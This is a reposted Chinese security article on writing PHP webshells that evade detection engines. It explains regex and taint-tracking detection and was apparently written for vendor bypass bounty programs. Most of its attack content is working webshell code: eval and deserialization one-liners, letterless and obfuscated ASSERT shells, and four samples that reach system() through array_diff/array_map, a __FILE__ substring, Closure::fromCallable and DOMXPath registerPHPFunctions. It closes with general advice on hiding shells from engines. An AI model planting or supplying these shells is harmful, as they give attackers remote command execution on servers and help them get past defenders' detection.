|
利用PHP的特性做免杀Webshell 转载于：H3h3QAQ [url=]合天网安实验室[/url] 2022-08-05 17:30 发表于湖南 0x01 前言 最近很多家厂商都陆续开放了自己的Webshell检测引擎，并且公开接口，邀请众安全研究员参加尝试bypass检测引擎，并且给予奖励，我也参加了几场类似的活动，有ASRC的伏魔计划，也有TSRC的猎刃计划，还有最近正在进行的长亭的牧云（Aka.关山）Webshell检测引擎，如果你都参加或者关注了这三个比赛，你会发现他们都提到了以下几个技术： 1、词法分析2、污点追踪3、恶意代码检测 这些新技术我们后面的章节中，我们先讲一下传统的Webshell检测机制，再对照着最新的Webshell检测技术来说明一下如何在新技术下做免杀Webshell（本文所有Webshell基于PHP语言） 0x02 传统Webshell检测 传统的Webshell检测技术主要依赖于字符串的正则特征，在面对于已知的样本可以做到高准确率检测，在长时间的样本收取下，也可以做到满足日常运维中的Webshell检测，举几个经典的Webshell样本 1、经典一句话Webshell eval($_GET['cmd']);?> 2、反序列化Webshell <?phpClass H3{function __destruct(){eval($this->c); }}$a= new H3;$a->c = $_GET['cmd'];
3、无字母Webshell <?php$_=97;$__=97+18;//s$___=$__+6;//y$____=$__+1;//t$_____=$_+4;//e$______=$__-6;//m
$res=chr($__).chr($___).chr($__).chr($____).chr($_____).chr($______);$_=$_POST['cmd'];$res($_);
但是对于当下的技术发展，黑客们可以更加精心的编写Webshell来"骗"过传统的Webshell检测机制，而且Webshell易变形，在面对0day样本的时候，传统Webshell检测就会效果欠佳，也就需要更加全面的手段来与其抗衡 0x03 新型Webshell检测 对于现如今的情况下，传统的Webshell检测对于0day样本的检测效率已经不是特别好了，所以这时候就需要一种"主动"的检测方式，能够让引擎主动去理解脚本、分析样本，发现样本中的恶意行为，而不是依靠人工来添加Webshell特征。 1、污点追踪 举个例子，对于一个Webshell来说，如果要进行任意命令执行，就一定要获取外界数据，对于PHP来说也就是$GET、$POST来接受数据，而要想任意命令执行，这些接收到的数据也就一定要最终传递到eval、system等函数中，而污点追踪技术就是利用这一点，如果样本中的外界变量通过不断传递，最终进入到危险函数中，那基本上就可以断定为Webshell，将外界变量视为污点源，危险函数视为污点汇聚点，跟踪污点传播过程，判断污点变量是否被洗白，最终是否进入污点汇聚点，画一个流程图如下：
2、词法分析 检测引擎会将各种脚本语言进行词法语法分析，然后构建控制流图和数据流图，并在图上跟踪外界污点变量的传递，使用外界变量是WebShell非常重要的特征，如果发现外界变量最终进入了命令执行函数，就可以判断为Webshell。
引擎可以将传统的条件、循环、函数、对象的静态分析，目前还可以支持动态变量名、箭头函数、反射、回调等动态特性的分析，大大的强化的未知样本的检测成功率。 3、加密还原 在此之前我们的Webshell常用的绕过检测的方法就是通过加密来绕过，例子如下： <?php$_=[];$_=@"$_";// $_='Array';$_=$_['!'=='@'];// $_=$_[0];$___=$_;// A$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;// S$___.=$__;// S$__=$_;$__++;$__++;$__++;$__++;// E $___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T$____.=$__;
$_=$$____;$___(base64_decode($_[_]));// ASSERT($_POST[_]);
该样本利用了混淆和加密两种技术，但是现如今的检测引擎都具备有对市面上的大部分PHP加密混淆进行“脱壳”和利用动态分析PHP执行器进行虚拟执行，将混淆加密的代码进行动态还原，解密后混淆和加密相当于明文传输，再利用污点追踪技术和动静态结合分析即可大大的提高检测率，并且能够有效减小误报率，同时也让这种在之前百试不爽的技巧无法使用。 0x04 如果Bypass掉新型检测引擎 我们要知道原理就可以想办法如何“蒙骗“住检测引擎，如果大家研究过，或者说亲身参与到了bypass挑战赛中，就能感受到无论是动静态还是什么技术，最后都是根据污点追踪法则来进行检测，污点追踪的流程在上一节提到了，目前我们有两个方法： 1、利用PHP中其他的命令执行的方法，让检测引擎识别不出这是污点汇集点 2、打断污点追踪的过程，让污点汇集点不落地 拿出一个样本我们来结合代码说明（以下样本分别bypass的引擎会标注出来，截止笔者写这篇的文章的时候只有牧云webshell检测引擎正在开启） 样本1
<?php//ASRC伏魔引擎bypass$result=array_diff(["s","a","b","ys","te","m"],["a","b"]);$a=join($result);array_map($a,(array)$_REQUEST['1']);?>
讲一下原理，首先我们需要利用技巧（PHP本身的特性），来阻断污点追踪的过程，我在fuzz测试的时候发现了array_map()这个函数存在callback并且能够逃避检测
那么首先的能够bypass的污点汇集点已经有了，接下里来就是寻找其他函数来将变量"洗白"，我选择了array_diff()
这样就可以利用该函数拼凑出一个system函数，再利用array_map()的callback来做命令执行 结果如下：
这样就完成了最简单的一次bypass 样本2
<?php//bypass 牧云 文件名需要设置为system$filename=substr(__FILE__,-10,6);$command=$_POST[1];$filename($command);
FILE是PHP的一个魔术常量，它会返回当前执行PHP脚本的完整路径和文件名，我们利用substr()函数逆着截取，就能获得system再利用变量做函数的方式，打断了污点追踪的过程，进行命令执行，也可以成功bypass掉牧云引擎。 结果如下：
牧云引擎检测结果如下：
样本3
<?php//bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎classA{ publicfunction__construct(){}
publicfunction__wakeup(){ $b=$_GET[1]; $result=array_diff(["s","a","b","ys","te","m"],["a","b"]); $a=join($result); Closure::fromCallable($a)->__invoke($_REQUEST[2]); }}
@unserialize('O:1:"A":1:{s:10:" A comment";N;}');
这个套了一层反序列化，隐藏污点汇集点的方法与样本一相同，利用数组差级构造system后利用原生类Closure的fromCallable函数
进行命令执行（在牧云中array_diff(["s","a","b","ys","te","m"],["a","b"]);这种方式会被check，索性换成动态控制，这样也能打断污点追踪） 结果如下：
样本4
<?php// dom and xml needed, install php-xml and leave php.ini as default.// Author emonPrefect$cmd=$_GET[3];$_REQUEST[1] ="//book[php:functionString('system', '$cmd') = 'PHP']";$_REQUEST[2] = ["php","http://php.net/xpath"];$xml=<<<XML<?xml version="1.0" encoding="UTF-8"?><books> <book> <title>We are the championstitle> <author>LemonPrefectauthor> <author>H3h3QAQauthor> book>books>XML;
$doc=newDOMDocument;$doc->loadXML($xml);$clazz= (newReflectionClass("DOMXPath"));$instance=$clazz->newInstance($doc);$clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]);$clazz->getMethod("registerPHPFunctions")->invoke($instance);$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);
该样本需要一些条件，前提是开启了php-xml拓展才可以，其原理就是用XML去注册一个registerPHPFunctions，也就是我们想要执行的system再利用getClosure去触发该方法而构成的webshell，其中即利用到了PHP的特性，利用registerNamespace和registerPHPFunctions来中断污点追踪，从而RCE 结果如下：
0x05 总结 在构造Webshell的时候，我们如果知道Webshell检测引擎原理，就知道如何去bypass了，对于怎样过掉Webshell引擎这件事，需要开动脑筋多去找一下PHP的文档，去找一下原生类和其他能够中断污点追踪的方法，让引擎跟踪不到你的行为，而且尽量不要让敏感字符串出现在代码本体，因为有的引擎还是有字符串的正则特征检测，同时也要学会分析，分析自己的Webshell到底哪里出的问题，从而找到更好的方法去替换。 0x06 参考和引用
http://blog.nsfocus.net/https-webshell-1125/https://xz.aliyun.com/t/11391https://blog.csdn.net/Baidu_Secrity/article/details/108709536[url]https://mp.weixin.qq.com/s?__biz=MzI1NzM0MTMzMg==&mid=2247491411&idx=1&sn=9d943adb7cbbd79e25a6d253a95bf438&chksm=ea19bda8dd6e34be4ec6905f34f7a1f1c3b2554c62b6c9a576bcf3bc80028192307059dedbd1&scene=178&cur_album_id=2242631586997420036#rdhttps://www.cnblogs.com/beautiful-code/p/15166042.html[/url]
| 
发表于 2022-8-7 11:28:01
